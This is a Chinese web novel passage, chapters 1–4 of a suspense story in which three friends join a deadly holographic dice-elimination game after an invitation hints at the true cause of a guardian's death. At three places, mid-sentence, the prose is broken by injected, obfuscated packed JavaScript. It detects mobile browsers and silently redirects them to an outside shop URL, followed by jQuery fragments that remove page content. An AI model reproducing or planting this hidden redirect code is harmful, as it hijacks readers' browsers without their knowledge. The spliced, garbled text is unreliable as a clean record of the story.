《骰子审判游戏》
1. 第 1 章
夏玖收到匿名游戏邀请函,是在兰姨去世的一个星期后。
邀请函的内容简洁明了,写着这样几句话——
“尊敬的夏玖女士:
您想知道兰玲女士的真实死因吗?诚挚邀请您参与【骰子审判游戏】,顺利通关后,您将探寻到出人意料的真相和答案。
若有意参与游戏,请您于接下来三日内确定2名队友,组成3人团队。三日后,我们会再次与您联系。”
夏玖好看的眉毛轻轻皱了一下。不待她进一步思索,就在这时手机响了。
夏玖看了一眼来电显,是她的好友孟真。
“小玖,节哀。”电话另一头的孟真柔声安慰道:“这段日子兰姨一直饱受病痛之苦,也许离开也是一种解脱。你也别太难过了。”
夏玖没说话。她的视线紧盯着游戏邀请函上的“真实死因”四个字。
“真真。”沉默了半晌,夏玖突然问:“你说兰姨……有没有可能其实不是病逝?”
·
“——布谷。”
客厅钟声报时。中午12点整。
此刻,夏玖、孟真和孟真的表弟温阳,三个人正静静坐在夏玖家的沙发上,像在等待共赴一场宴席。
“我也知道这听起来很荒谬。”
夏玖对着孟真和温阳,说起这个神秘的游戏邀请。“一年前,兰姨检查出癌症晚期,医生都说她活不过半年,最多九个月。就像真真说的,兰姨是在病痛中苦苦撑了将近一年去世的。这怎么看都不像谋杀,可对方却表明了兰姨的死似乎另有隐情。我觉得不像恶作剧。”
夏玖的分析不无道理。孟真也认为,如果对方只想以参加游戏的名义谋财害命,天上掉馅饼这种噱头反而更容易让人上钩。用一个收过病危诊断书、去世在医院的病人的死因作为理由,其实非常牵强。
所以对方找上夏玖,并不是随机。也许对方的目标正是与兰姨有关的人。
“兰姨很少跟我讲起她的过去。”夏玖又道:“兰姨抚养我长大,但这二十年来,她从不工作,只告诉我是年轻时攒的积蓄。我没多问过,只想尽快减轻兰姨的负担,所以才会刚上大学就开始做兼职。”
她和孟真也正是在暑假工期间认识的。
打工人孟真听夏玖说兰姨“二十年不工作”,瞪大了眼睛感叹道:“如果是这样,那二十年前兰姨的积蓄可不是一笔小数目!那是一笔巨款啊。”
“所以我怀疑,真相或许与兰姨的过去有关。”夏玖道:“我从小被父母遗弃,是兰姨收养了我,抚育了我二十年。兰姨就是我在这世上唯一的亲人。如果兰姨的死真的不是癌症病逝那么简单,那我必须要搞清楚事情的真相。”
孟真和温阳也坚定地点点头。作为朋友,他们当然会无条件支持夏玖,愿意陪她一起寻找线索。
但夏玖还是有一些顾虑。
“这件事还是有很多疑点,多少有些冒险,你们现在退出还来得及。”
正因为是朋友,夏玖才不愿连累孟真和温阳。她分析道:“首先,对方如果掌握兰姨去世的线索,他为何要选择让我参与游戏这种方式,还必须要通关?而所谓‘通关’,到底是纯粹的游戏能力考验还是另有所指?其次,如果对方的目标是与兰姨有关的人,那他只引我入局便好,又为何要设计成团队游戏,让我自己选择2名队友,这岂非增加了他计划中的不确定因素?”
很显然,事情没那么简单。
“不管是什么,很快就有答案了。”孟真轻轻拍了拍夏玖的肩膀,“越是这样,我越不放心你一个人去面对。”
“没错。”温阳也没打算退缩。“是神是鬼,就让我们一起见识见识吧。”
话音未落,敲门声响了。
来了。
夏玖深吸一口气,平静地从沙发上起身。此刻门口正站着两个身穿黑色西装、戴黑色口罩的年轻男人。
“夏小姐您好。我们老板邀请您参与游戏。如果您已确定参与并成功组队,请随我们来。”
·
对方是派专车来接他们的。一上车,黑衣人便“代为保管”了他们身上的电子设备,车内也看不见外面,显然对方不打算暴露游戏大本营的所在地。大约2个小时后,车子停下了。
“请。”
此刻,他们应该是已经进入了游戏公司的内部,映入眼帘的是一片后现代建筑群,正前方的这栋楼最高,全镜面的外观看上去科技感十足。三人进了楼,黑衣人引领他们穿过长廊,走到最里面的房间。
室内陈列着三台沉浸式全息游戏设备。温阳作为游戏发烧友,一眼就看出了眼前的设备不一般。“太酷了,高科技啊!”
夏玖和孟真对游戏设备虽没温阳那么专业,但自下车以来也能看出这个地方处处写满“高
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403688|141243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大上”三个字,仿佛空气中都弥漫着金钱的味道。
很显然,邀请她参与游戏的幕后人,也就是黑衣人口中的“老板”,绝对不是一般人。
“请三位分别入座。”
夏玖先走了过去,在其中一台设备上坐下,正上方垂下来的就是脑机接口。孟真和温阳也依次入座,工作人员见他们都已准备就绪,为他们调试设备,将仪器连接到人体。
“嗡——”
夏玖感觉整个人麻了一下,眼前倏然闪过一道刺眼的白光。不过只消片刻,待她再次睁眼时,她便进入了“另一个世界”。
在空洞白色背景下的“虚拟空间”中,眼前出现了一栋白色的三层小洋楼。
几秒钟后,孟真和温阳“闪现”在了她身边。
现在,他们都进来了。面前是同一栋别墅。孟真问:“我们应该得进去吧?”
夏玖点头。毫无疑问,这栋别墅就是游戏场地。
只是有一点让她感觉很奇怪:如果他们要在这里面玩游戏,那为什么游戏设备没有直接传送他们进入别墅内,而是要让他们站在大门外,再走进去呢?
“来吧。”
温阳作为团队里唯一的男生,站在夏玖和孟真面前,试探性地向前推了推门。
大门没有锁。温阳没有很费力就推开了门。
门开了。映入眼帘的是华丽的大厅,屋顶挂着水晶吊灯,墙上绘着文艺复兴时期风格的壁画,正对着大门也就是大厅中央的位置,放置了一张长形餐桌,仿佛主人正打算宴请宾客。
但眼下,大厅的布局似乎并不是重点。
重点是,别墅里,有人。
当夏玖他们进来的时候,大厅里围着这张餐桌的一圈已经几乎坐满了人,只差三个空位。似乎只等他们三个了。
难道是其他受邀参与游戏的玩家?
夏玖不动声色向坐着人的餐桌那边望过去,想先观察一下眼前的情况,可她的视线刚投过去,就听见身后“砰”的一声——
猛一回头,只见大门已猝不及防地重重关上。现在,所有人都被“困在”这栋别墅里了。
而就在同一时刻,一双深邃漆黑的眸子正在静静盯着屏幕,观察着别墅内所有人的一举一动。
在他身侧,接夏玖他们过来的身穿黑西装的男人恭敬汇报道:“老板,所有人都已到齐,游戏可以开始了。”
2. 第 2 章
门关了。夏玖转回身来。
“4支队伍,10个人。齐了。”
开口的是一个脸上有一道刀疤的中年男人。他本就体型庞大,在夏玖刚进来的时候直接从座位上站了起来,此刻又最先说话,夏玖不免第一个先注意到了他。
接着,目光旁移,她留意到了刀疤男身侧的女人。
“哟,压轴出场呢。”
女人的声音,妩媚中带着一丝不易察觉的阴阳怪气。
夏玖默默打量了下她。女人留着一头栗色的长卷发,紧身的包臀连衣裙使得她前凸后翘的身材一览无余。拥有这般傲人身材的女人当然不会素面朝天,她脸上妆很浓,眼尾处微挑的眼线令她的眼神显得更加魅惑。
以夏玖的经验来看,这样的女人一般都不是善茬。很大程度上,她比她身边那个大块头、看起来凶神恶煞的刀疤男还要更加危险。
“没什么压轴不压轴的,既然都是老板亲自邀请的玩家,又何必在意进场顺序。”夏玖微微一笑,“毕竟游戏一旦开始,更值得关心的是离场顺序。”
“你……”性感女人一时吃瘪,显然她没想到眼前这个看起来恬静柔美的小姑娘居然是个伶牙俐齿的。
“我们其实也刚到。”
见气氛凝重,另一个玩家主动出来打圆场,“先坐吧,好像得全部落座游戏才会正式开始。”
夏玖也不再跟这个性感女人多费口舌,往前走了几步,孟真温阳紧随其后。这是一张4x1的桌子,刚好能坐10个人。女人旁边还有两个空位,靠近这两个位置的侧边还有一个。
夏玖径直走到女人身边,在她左侧的座位上坐下。
冤家路窄,上来就针尖对麦芒。性感女人眯了眯眼睛,仿佛对夏玖的探寻意味又多了几分。
但夏玖之所以坐在离性感女人最近的位置,却并不是出于挑衅目的,而是为了给孟真和温阳一个更有余地的空间。一共三个空位,剩下两个空位就是夏玖旁边的位置和与她们成直角角度的侧边,也就是桌子的边角处。如果场上的人有什么不友好动作,这两个位置受到波及程度会较轻,跑路也更方便。而紧靠着性感女人的这个位置则比较居中,受限制会更大。
所有人都已落座。
夏玖不动声色观察起场上的其他人。4x1的长条形桌子,和她同一侧的三个人,除了她左侧的温阳外,就是她右侧的性感女人和刀疤男。从进门后二人的互动看,他们应该是一起的。
对面四人中,正对着她和温阳的是两个大学生模样的年轻人,一男一女,穿着情侣装,看样子也是一队的。
在这两个人旁边,即刀疤男和性感女人正对面的两个人,一个穿着运动服像是高中生,另一个西装革履像是商务人士。最后还剩下孟真正对面的一位中年男子,带一副眼镜,长相普通但气质斯文。刚刚主动出来缓和气氛的人就是他。
根据“4队”的说法,不难推测,西装男、运动服少年和眼镜男就是一队了。
观察完人,夏玖的视线重新落在桌子上。刚进门时她以为这是个餐桌,因为每个人的面前都摆着一杯红酒,两边还各摆着红色和蓝色的花束。
但坐过来之后她才发现,这并不是餐桌。
这张桌子更像是……牌桌。
“我们到得早,游戏规则都看过了,但新来的三个还不知道吧。”
刀疤脸男人瞟了夏玖一眼,说道:“我们一共10个人,4支队伍,要玩一个掷骰子的游戏。每投出不同点数,会触发不同的事件,根据任务不停淘汰人下去,直到最后的人数小于等于2。最后获胜的人,就算整队获胜。可能是一支队伍,也可能是两支队伍。”
说罢,又意味深长地补充了一句:“游戏允许自带装备和道具。”
自带装备道具?难道还能出千?
在她思考的时候,性感女人给她递过来了一张卡片。这张卡片上写着游戏规则——
“玩家轮流掷骰子,根据掷出的点数完成不同的事件。”
【点数1:整栋别墅陷入黑暗10秒钟】
【点数2:双人玩牌,输家淘汰】
【点数3:捉迷藏,1分钟,1人捉,其余人藏,被找到的淘汰】
【点数4:指定一人回答问题,答错淘汰】
【点数5:1分钟沉默,出声者淘汰】
【点数6:重掷一次,直接淘汰与点数相同的人数】
夏玖看完,将卡片传阅给温阳和孟真,脑海中飞速地闪过无数个念头。
“……”
温阳看完规则后,情绪一时有些复杂。他愿意参与游戏,其实也有一大部分原因来自他对游戏本身的兴趣。骰子审判游戏,他以为会是那种烧脑解密的,来到这里以后高科技的全息设备更是让他将期待值拉满。但似乎……并不是。
和温阳一样觉得这个游戏有些“低端”的还有对面的运动服少年,他与温阳年龄相仿。“这么看,这完全是个碰运气的游戏,而且只有掷出2和6是一定会减员的,掷出其他点数,如果足够幸运,都可能无事发生?”
“……那就看你们够不够幸运咯。”
性感女人笑了笑,在说这句话的时候她将尾音拉得老长,像一只慵懒的猫。
孟真觉得事情肯定不会像第一眼看到的那么简单,但一时也没捋清头绪。至于温阳,他本就不喜欢这种谋略成分小、运气成分大的游戏。另外,还有一件事令他很不解。
“如果我们要做的就是不断掷骰子往下淘汰人,这个游戏为什么不直接叫骰子游戏,而是要叫骰子审判游戏?”
为什么要叫“骰子审判游戏”。
可没想到,此言一出,全场突然陷入了死一般的沉默。
其他人都看向温阳,接着用眼神跟自己的队友隐秘互动,仿佛在传递什么心照不宣的消息。有人在思考,有人在紧张,也有人表情意味深长。
温阳一下子懵了,好像他说错话了一样。孟真也不明所以,不知道场上的其他人都在打什么哑谜。难道除了他们三个,其他人都是一伙的?可看着也不像。
“咳咳。”
这一次,又是“和事佬”眼镜男开口了。“时间紧迫,我们得在1个小时之内结束游戏,不然会判全员输。”
听到要在1小时之内结束游戏,孟真有些疑惑,好像不记得规则卡片上有写这句。她刚想把卡片拿过来再确认一下,夏玖似乎是预判到了她的困惑和行为,轻声道:“不用看了,上面没写。”
“那他刚刚……”
孟真话刚说到一半,突然联想到刀疤脸男人说的“游戏允许自带道具”,和温阳对游戏名称的质疑后大家微妙的表情,立马反应过来了。
夏玖对着她点点头。孟真心领神会,果然,夏玖早就猜到了。
他们进入游戏后,从头到尾没有见到裁判或者系统发布游戏规则,公开的信息只有这张卡片,也就是游戏的具体玩法,掷骰子。可是对于一个完整的游戏来说,它涉及到的信息远应比这更加丰富。
而幕后老板,则故意没有完全将信息公开透明,而是选择性地向每个人都提供了一部分信息。
刀疤脸男人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403689|141243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和性感女人团队,他们的独家信息是游戏允许自带装备道具。这一点,其他人并不知道。所以只有他们是带了道具来的。至于他们带了些什么道具,目前还不得而知。
眼镜男团队的独家信息是游戏时间为1小时,且从所有人齐聚别墅内大门关闭的时间就起算。所以他屡次充当和事佬出来缓和气氛,敦促大家尽快开始游戏,否则所有人都会输。
而夏玖,她的独家信息,则是游戏的名称。
游戏名看似是无用信息,可实际上很有可能是最为关键的,因为不管游戏看上去怎么玩、玩什么,只有游戏名能概括这个游戏的实质。就像温阳脱口而出的,从规则看,这个游戏明明就是一个“掷骰子游戏”,可它为什么要叫“骰子审判游戏”?“审判”到底所谓何意?这会不会就是这个游戏看似只能听天由命碰运气、实则真正能掌握规律取胜的密码所在?
所以在某种程度上,夏玖的团队其实占了一定先机。可惜温阳嘴太快了,直接将这个信息透露给了所有人。
但现在不是懊恼的时候。游戏有时间限制,如果一直不出2和6,真的很有可能一直僵持不下。
而6的不确定性又太大,随机淘汰,很有可能会淘汰自己和队友。
所以,只要稍加分析就会想明白,这个游戏最好的进行方式是尽快让它结束,特别是让它在掷出6之前结束。这就意味着一旦出现点数1、3、5,这三个没有淘汰人数限制的点数,一定要尽可能多地淘汰人下去,让场上迅速减员。
“开始。”
突然,从天花板的吊灯上掉下来一个骰子,落在桌子正中央,接着像是自动麻将机那样触发了桌面的机关,每个人的面前都弹出了一块电子屏,屏幕上写着所有玩过游戏的人都再熟悉不过的三个字——
【加载中。】
屏幕黑了一秒钟,再次亮起时,上面显示着桌子的俯视图,红色和蓝色的花被标注出来,以此定位表示他们的位置。
【第一局。】
屏幕上,温阳那个位置的小人下面突然出现了一个红点,在不停闪烁。
由温阳开始。
温阳没有过多犹豫。他果断掷出骰子,骰子在空中和桌面中间翻滚数次后,停住了。
【点数4。】
“是4!点数4是什么来着?”
“是指定人回答问题!”
可是,这个人是谁呢?
众人屏息凝神盯着屏幕,只见屏幕上的小红点,直接往旁边移动了一个位置。
温阳掷出了4,要求一个人回答问题,而这个人居然就直接被指定为了他的下一个。
——也就是他旁边的夏玖。
一时间,所有人的目光聚焦在夏玖身上。温阳有些心虚地低下头,没想到刚第一局就把这么个难题抛给了自己的队友。
夏玖用眼神示意他放轻松。眼下这个游戏确实过于诡异,有些不按常理出牌,但越是这样反而越不能慌。不就是回答问题。夏玖想,至少,她有一半的机会。
会问什么呢?
几秒钟后,屏幕上出现了这样一个问题——
【你现在正在一栋别墅里。此时有人敲门,请问,是否开门?】
这个问题不仅夏玖能看到,其他人也能看到。
夏玖愣了一下。从其他人脸上的表情来看,这个问题显然也出乎他们的意料。
但更出乎意料的却还在后面——
“咚、咚、咚。”
随着这个问题出现在屏幕上,几乎就在同时,门外响起了沉重的敲门声。
3. 第 3 章
“咚、咚、咚。”
有节奏的敲门声如同鼓点,仿佛在敲击每一个人的心脏,惩罚着每一个在最开始认为这个游戏过于“小儿科”的玩家。
房间中陷入了死寂一般的沉默。温阳的脸色也凝重起来,此刻他终于意识到,这个游戏可能远比他想象得要诡异。
几秒钟后,所有人的目光再次聚集到夏玖身上。
这是她要回答的问题。
【请问,是否开门?】
卡片上写的规则是“指定一人回答问题,答错淘汰”,却没说“只淘汰答题者”。
这就意味着存在这一种可能——夏玖答错了这道题,不止她自己,所带来的结果还会引发房间里的其他人出局。谁知道现在在门外到底的到底是什么东西?
会不会是丧尸、怪物、杀人魔,或是其他未知的、可怕的存在?
如果存在这样的风险,那么,难道选择不开门,就一定是正确的答案么?
温阳觉得自己的手气真是点背到家了,怎么就掷出了这个点数,还把这么个难题抛给了夏玖。
孟真也紧张得有些手心出汗。她一向相信夏玖的头脑,可此时他们处在这样一个完全不按常理出牌的游戏空间中,她到底该如何应对?
孟真的喉咙动了动,小心翼翼往那边瞥了一眼。
夏玖低垂着眼眸。孟真知道那是她思考时的表现。
她迟迟没有作答,屏幕上开始出现了倒计时。
【9,8,7,6……】
突然,夏玖抬起头,往门的方向看了一眼。
“咚、咚、咚。”
平息下去的敲门声又响了,仿佛在提醒她尽快做出决定。
【5,4,3,2……】
——“我选开门。”
在倒计时结束前的最后一秒,夏玖的声音终于打破了这令人窒息的沉默。
听到她的回答,在场的人脸色表情各异。有人故作镇定,有人意料之中,还有人流露出困惑不解。
夏玖却没有理会这些目光,视线始终落在门上。
这道题,她究竟答对了没有?
敲门声停了。
房间里再次陷入沉默,安静得落针可闻。
“砰!”
就在下一秒,大门敞开。
门外的风裹挟着一股令人不寒而栗的冷意,生生刺入每个人的神经。
门开了。所有人的视线聚集在门口。
可是,出乎所有人意料的是,门外竟然空无一人。
但这还不是最诡异的。
最诡异的是,门开以后,他们看到的外面并不是他们进入游戏后的那个空白空间,而是像在深山老林中,密不透风的树林遮天蔽日,门口一条羊肠小道延伸到远方看不见的尽头。
夏玖几乎屏住了呼吸。她选择了开门,所以,是有什么东西要进来么?
但几秒钟后,大门却又自动关上。
屏幕回到了初始界面,下面出现一行字。
【淘汰人数:0/剩余人数:10】
接着,夏玖那个位置下面的红点开始闪烁。
【第二局。】
·
轮到夏玖掷骰子。
这意味着第一局结束,夏玖没有被淘汰。她答对了。
刀疤脸男人皱了皱眉,“这算怎么回事?门开了又没人,这个问题在试探玩家的胆量?”
“呵,谁知道呢。”
性感女人妩媚一笑,眼底闪过一丝淡淡的狡黠。“还有……你又怎么知道刚刚没人进来。万一进来了‘东西’,只是我们看不到呢。”
女人的这句话让在场的人顿时感觉后脖颈一凉,简直细思极恐。这是在虚拟的游戏里,不管多么恐怖的东西也都不过一串代码就可以实现,一切皆有可能。
孟真和温阳都很好奇夏玖究竟是如何考虑的,又觉得这刚刚开始第一局,没有什么明确的指向性,也许只是蒙的。
“如果不需要开门,只是在别墅里玩这个掷骰子游戏,那我们应该进场就在室内。”
似乎是看出了其他人对自己答案的疑惑,夏玖主动作出了解释。“我们既然是从外部进场,那么,整场游戏的覆盖空间就不仅仅是在别墅内,而是涉及到门外互动。”
夏玖在游戏进场时的疑惑,在此刻得到了解答。其他人也流露出了恍然大悟的表情。
此刻场内的人们,各怀心思。
温阳觉得稳拿把纂,对比其他玩家,夏玖在游戏中的表现沉稳冷静,他们团队的赢面很大。
孟真则心系夏玖参加游戏的初衷,对方引夏玖入局的噱头是有关兰姨的真相,可现在非但看不出游戏的设计到底与兰姨有什么关系,也看不出其他参与游戏的玩家和兰姨有什么关系。孟真怀疑,幕后老板可能是针对不同人以不同的名义作为吸引,故意将这些互不相识、但同时被老板“选中”的人汇聚在这场游戏中。
夏玖则眯了眯眼睛。她仍在琢磨这个游戏的名字。
骰子审判游戏。
接下来,由来她掷骰子。
对面的一对大学生紧张得不行。在场上所有玩家中,对面的这对情侣看上去是最紧张的。而夏玖旁边的性感女人则最为淡定,虽不知她参与游戏的目的是什么,但似乎一直在展现一副胜券在握的状态。
然而,很不巧。
夏玖投出骰子,落下的时候,朝上的是点数2。
当女人看到这个结果的时候,原本神色自若的脸终于开始有些绷不住了。
【点数2:双人玩牌,输家淘汰】
夏玖投出2,决定了接下来有两个人要打牌对决,淘汰一个。而从第一局来看,被指定的人往下顺延,正好就到了性感女人和刀疤脸男人。
不幸的是,他们是一队的。
所以,夏玖掷出点数2,就意味着性感女人所在的双人队伍即将面临其中一个队友必定淘汰的尴尬境地。
一开始谁都没有料想到游戏会这样指定,所以同一团队的人都是坐在一起的,一旦出现这种情况都可能发生“内战”。但从另一个角度看,4支队伍都要吃这个亏,反而也成了一种“公平”。
刀疤脸男人恶狠狠地盯着夏玖,性感女人也暗暗攥紧了拳,眼底闪过一丝不易察觉的冷光。
夏玖只好装作看不见。其实这不能怪她,骰子掷出的点数是随机的,就像上一轮温阳投掷出点数4,抛出的难题也是给了他的队友。
但夏玖心里也清楚,总要有人为所谓的“倒霉”买单。刀疤脸男人和性感女人这一组明显两个都不是省油的灯,他们中不管留下了哪个,另一个都一定会记恨自己。
如果再运气差点,下一轮他们谁掷骰子的时候投了个1出来,黑暗的10秒钟里,自己极有可能会遭遇不测。
但现在,她也顾不上那么多了,只能暂且走一步算一步。
牌桌上的人各怀心思,屏幕上则出现了一个类似纸牌游戏的画面。和刚才一样,这一轮,也是所有人都能够直接旁观二人的“对阵”过程。
但他们是一队的,所以,显然他们不可能真的靠打牌决出胜负。刀疤脸男人和性感女人交换了一下眼神,毫无疑问是在权衡,哪个先暂时淘汰,哪个继续留在场上。
最后,刀疤脸男人直接“放水”,给对方喂牌,没几回合女人就赢了游戏。
性感女人留下了。
这对夏玖而言更加不利,因为相比于刀疤脸男人,这个女人坐得离她更近,而且从她的观察来看,这个女人显然心机城府更深,更加不好对付。
【淘汰人数:1/剩余人数:9】
随着屏幕上这句话出现,男人的身体逐渐在房间中消失透明,不过短短几秒钟,他的位置
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403690|141243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
便空了,仿佛这个人从未出现过。
第一位淘汰者已经产生。
·
【第三局。】
刀疤脸男人消失后,女人只是淡淡笑了笑。
“到我了。”
她眼底笑意依旧,依然妩媚动人。突然,她侧头看了夏玖一眼,神情暧昧不明。
夏玖收回视线。
她毫不怀疑,这个女人已经开始在想要怎么对付她了。
不过她观察了一下其他人,发现大家的表情似乎有点意思。
这张4x1的牌桌,如果以夏玖和这个女人作为分界线,则刚好是两边各两支队伍。
他和温阳对面的两个大学生情侣,女生看上去很紧张,男生应该是一直在桌子下面攥着她的手。但这个男生看上去很瘦小,脸上的恐惧也并不比女生少。不知道为什么,从进场开始,这两个人就都是一副担惊受怕的表情。
而女人这一边的,则是西装男、运动服少年和眼镜男的队伍。
夏玖留意到,从游戏开始到现在,这三个男人几乎都曾有意无意往这个女人这边瞟过——
任何男人都不会否认,这个女人是性感的、惹眼的,大胆的穿着更是容易令人想入非非。
游戏的规则是,直到最后人数小于等于2人。这2人可能刚好是一队的,也可能属于两个队伍。若是后者,相当于两队都赢。
如此一来,两组结盟似乎是最好的选择。齐心协力淘汰掉剩下两组的所有人,只要保证两队各有一人能留到最后就行。
而这个女人,很显然,她现在有意拉拢那三个男人的队伍。这样的话,在“黑暗10秒”和“捉迷藏”这类任务的时候,他们就会将夏玖他们这边的人当作靶子。
只可惜,游戏存在的变数很大,不确定因素也很多。即使她真能靠自己的魅力让那三个男人臣服,也不见得一切就都能顺着她的想法发展。
所以,这个游戏不仅仅看运气,也涉及到队伍之间、玩家之间的博弈。
在夏玖思考的时候,女人已经掷出了骰子。
【点数3。】
点数3,是捉迷藏游戏。
由于坐在女人旁边的刀疤男上一轮已经淘汰,按照位置再往下顺一个,就是孟真正对面的那个眼镜男。
其他人有1分钟时间藏,眼镜男负责找人。被他找到的人会淘汰,而他如果一个都没有找到,他自己也不会淘汰,本轮就会无人淘汰。
屏幕上出现了倒计时。
【60,59,58……】
“走,上楼!”
“好像左边右边都能藏!”
除了眼镜男,其余人纷纷起身,各自寻找藏身之处。60秒的时间并不多,夏玖没有心思管其他人,只是跟温阳和孟真低声说:“你们去另一边,分开藏,不要在一起。”
“明白。”
这栋别墅很大,有三层,空房间非常多,而且两侧不相通。找人的只有1分钟的搜寻时间,很可能很多房间他还没来得及进,时间就到了。
所以,不被发现的机会还是很大的。
这一轮最怕的就是有人面对各种各样的房间花了眼,反而不知道藏哪间好,总觉得再看看还有更适合藏身的,最后白白浪费了时间没选好地方。
夏玖动作迅速,她没有犹豫上了三楼。
除了去另一侧的人外,这边的其他几个人都是上到二楼就开始藏了,策略是缩短爬楼梯的时间,给找房间留有余地。
现在,这一侧的三楼就只有她一个人。
从楼梯口的走廊一眼往里望,所有门都是关着的。在昏暗的光线中,一扇扇漆黑的门就像是一道道嵌在墙上的催命符,显得莫名诡异。
那一瞬夏玖突然有一种感觉,仿佛这里并不是别墅,而是太平间。那一扇扇的门也并不是房间,而是冰冷的藏尸柜。
4. 第 4 章
【3,2,1……】
1分钟时间到。
眼镜男缓慢地从座位上起身,开始寻找他的“猎物。”
两道楼梯,一左一右,通向两侧不同方向的房间。1分钟的找人时间,他只能选择一边。所以,另一侧的人在这一局会是完全安全的。
选哪边?
眼镜男扯了扯嘴角,镜片在灯的光线照射下有些反光。
他迈开步子走上楼梯。
·
夏玖藏在从楼梯口方向数过去的第三间房。远离大厅方向一侧。
这似乎是一个女孩子的房间,房间的墙壁都是粉红色,柔软的小床上摆满了各种各样的洋娃娃玩具。
而她现在正躲在桌子下。
这张桌子也应该是为小孩子设计的,很矮,一个成年人完全藏进去着实费劲。好在夏玖个子虽高,却是纤细苗条的身材,蜷缩着还是能勉强躲进去。
1分钟的时间差不多到了。眼镜男也应该已经出发。
所有人都在藏着,整栋楼很安静,夏玖能够感受到眼镜男的脚步声,一步一步踩在楼梯上,在空旷的房子里带着些许绵长的回音。
脚步声近了。
男人上来的是夏玖一侧。他应该是已经走到了二楼。
夏玖的心脏提到了嗓子眼,却也同时松了一口气。男人来了他这边,那么温阳和孟真这一局就是安全的。即使她不幸被找到,他们队伍也还能剩下2人,还是有希望能撑到最后。
思索间,她感觉到自己的脚边似乎有什么东西,踩上去有些软。
但她现在这个姿势看不到那到底是什么,又不能冒然动作,便打算等到这局游戏结束再仔细查看一下。
“咣当——”
突然,楼下传来一阵声响,像是什么东西被撞到了。
有人被发现了?
“抱歉了。”
眼镜男的声音并不大,甚至语气很温和,可在眼下的环境中却显得极其有穿透力,就像是死神的宣判,直直穿入每个人的心脏。
“呜呜呜不要……”
“别怕,我们……”
女孩子的哭声和男孩子略带颤抖的声音戛然而止,被系统提示音打断。1分钟时间到,标志着这轮结束。
夏玖缓慢离开桌下狭小的空间,站起身舒展了一下四肢。如果她没有猜错,应该是她和温阳对面的大学生情侣,这两个人一定是藏在一起了,只要一个被发现,另一个直接就也会跟着被找到。这一对恋爱脑真是“不求同年同月同日生,但求同年同月同日死”了。
不过此时夏玖更好奇的,倒是刚刚她藏在桌下时踩到的东西。
她俯下身,发现在桌脚的位置似乎静静躺着一张羊皮卷,有点像影视剧中出现的那种藏宝图。
她将羊皮卷拿起来看了一眼,如她所料,果然是一张地图。不过却不是藏宝图,而是别墅到城镇的路线图。
别墅的所在地呼应了她答完第一个问题时门外的场景,这栋别墅真的可以称得上是“遗世独立”了。她盯着这张地图,似乎隐约捕捉到了什么东西,却始终无法具象成形,在脑海里模糊着,直到最后再一点点消散。
夏玖默默放下那张地图,走出房间。
她是最后一个回到牌桌的,其他人都已经先后归位。果然,那两个大学生不见了。
而电子屏幕已经更新。
【淘汰人数:3/剩余人数:7】
·
【第四局。】
由眼镜男来掷骰子。
场上现在还剩下7人,夏玖一队3人,眼镜男一队3人,以及性感女人一个人孤军奋战。
情侣大学生队已经团灭,场下剩余3支队伍。最好的情况是,有2支队伍留到最后同时获胜。
这样看来,局势对性感女人很不利。因为对于眼镜男的队伍而言,干掉夏玖这边的三个人,肯定不如直接踢掉她来得容易。
孟真倒是纠结另一件事。他们每个人掌握游戏的部分信息,性感女人团队(游戏允许自带道具)、眼睛男团队(游戏时间1小时)和夏玖团队(游戏名称)掌握的信息都已公开,而这对大学生情侣团队掌握的独家信息还没有暴露出来,他们就这么毫无存在感地淘汰了。
夏玖见孟真皱着眉头,猜到了她此刻的顾虑。
可惜,她不好当着其他玩家的面讲出来。
大学生情侣从头到尾给人留下的印象,就是紧张和害怕。只是游戏而已,他们为何会如此畏惧?
答案只有一个,就是他们团队掌握的独家信息,是游戏失败的惩罚。
他们接到游戏邀请函,只说了游戏通关可以得到自己想要的,却没有提如果游戏失败会怎样。游戏邀请给了所有人一个不容拒绝的理由,让他们只想赢,而没有考虑输。
但是进入游戏后,夏玖感受到了这个游戏根本没那么简单。现在他们没有退路,只能想办法赢到最后。
“咣当”一声轻响,夏玖的思绪被拉回当下。
是眼镜男掷出了骰子。
【点数5。】
点数5:一分钟沉默,出声者淘汰。
场上的大多数人下意识松了一口气,好像这一轮还比较轻松。
夏玖眉头一紧,她觉得这1分钟里一定会有事发生。沉默意味着不能发出任何声音,而不能发声不仅取决于自身意志,旁人的干扰也一样会影响。
【60,59,58……】
倒计时开始。
众人紧闭着嘴巴,像是就连呼吸都不敢太重似的。夏玖始终用余光提防着身边的女人,以免她在倒计时快结束的时候突然给她来个“惊喜”。
【10,9,8……】
最后10秒钟,夏玖更是绷紧了神经。在她身旁,女人转过头看了她一眼,突然神秘莫测地笑了。
【5,4……】
